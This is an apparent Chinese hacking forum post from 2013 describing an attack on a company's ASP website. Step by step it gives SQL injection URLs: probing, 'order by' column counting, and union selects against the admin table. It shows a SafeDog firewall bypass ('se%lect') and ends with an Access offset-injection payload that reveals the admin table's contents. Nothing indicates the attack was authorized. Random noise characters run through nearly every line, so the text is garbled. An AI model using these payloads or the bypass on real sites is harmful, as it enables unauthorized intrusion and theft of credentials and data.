打开网站，一个企业站。0 _+ N, m& B V$ M" A9 [
' e6 `; c" _' J/ |+ G& l/ l! v' n8 A% u+ N/ p7 @$ U
顺手加个admin. z1 Z! P. Q* n- K' e T
! y s6 p* Q& o4 c) Q
! `- }6 V/ t3 n/ y' }5 f- ~, z默认后台。
8 U% h/ y& B1 p3 M回到首页点开个产点连接在参数后面加上：and 1=1,发现有狗。
8 K( I/ y# c& `/ \% [+ |2 o# A" U; P6 j' C7 X" O/ Y
5 S9 `1 `5 c* O" h5 `- d2 s$ u: l. R+ `6 K& G
所以就不用御剑扫了，待会直接封IP。
2 z/ e! U9 Q. b1 k9 E5 L " F, g0 Z/ v) U; k3 a, W
用order by语句判断是否存在注入。& f! x! x( c# C6 l
http://www.xxx.com /product_show.asp?id=997 order by 1
D& b* z9 u) i' U* m1 b" j( ohttp://www.xxx.com /product_show.asp?id=997 order by 100
9 b }6 r4 E& B# h' t现在存在注入，经测试后发现是9个字段。6 Q$ u% a" `! j
$ x6 e5 p! w* _- c+ L' c, S
接下来进行联合查询，猜是否存在admin表。
" d5 Z9 s$ ^$ J1 G4 r3 `2 [1 P" @http://www.xxx.com /product_show.asp?id=997+union+select+1,2,3,4,5,6,7,8+from+admin 被狗拦截。( z$ y$ T l% s
$ a5 {4 k8 @( L+ ^ x5 c$ {+ Z
3 R i: j* b) _, h$ a6 Y! a2 s6 R) m. R, s; W+ r' c
在select中间加个%,se%lect绕过安全狗。+ m; {. h1 W; _
. b3 \# ]5 k: R3 a- ^: y
+ y! y% M6 }1 ]+ Q" o0 n3 \2 q8 L* {
发现存在admin表，然后开始手工猜常用的字段。) L" n8 b; n+ j6 r. e, ~
纠结的是手工把常用的字段都猜遍了，也没猜到一个字段。陷入迷茫中。
# c1 K2 g; J0 B P1 Z) T( T
' Q, m$ e5 ]2 @" E$ L1 b突然想起之前看到的一篇关于access偏移注入的文章，文章就是说在注入猜不到字段时可以尝试一下这个方法，之前我特地去测试过这种方法，但是爆不出来，也没太在意。现在也只能试一下这种方法，拼一下人品了。
$ b) J/ L- X, X" `. L , A0 I% m2 o7 S; s
科普知识就不讲了，如果有不懂的可以加我Q：519582321 一起交流，有深圳的基友也可以加一起搞基情。) r; k [# W9 \8 W6 U8 r+ P* o
http://www.xxx.com /product_show.asp?id=997+union+s%elect+1,2,3,4,5,* from+admin) F) R1 s/ y0 x2 r
好了，敏感内容出显了。
# ^6 Q! x- `1 J+ w$ j: |* A4 k1 k% r7 {+ w
6 y: @3 O. J/ d, K' b' F, a8 g' B' O+ h: m: z& ^9 ~/ i* ^
|
发表于 2013-3-8 21:49:45
收藏
支持
反对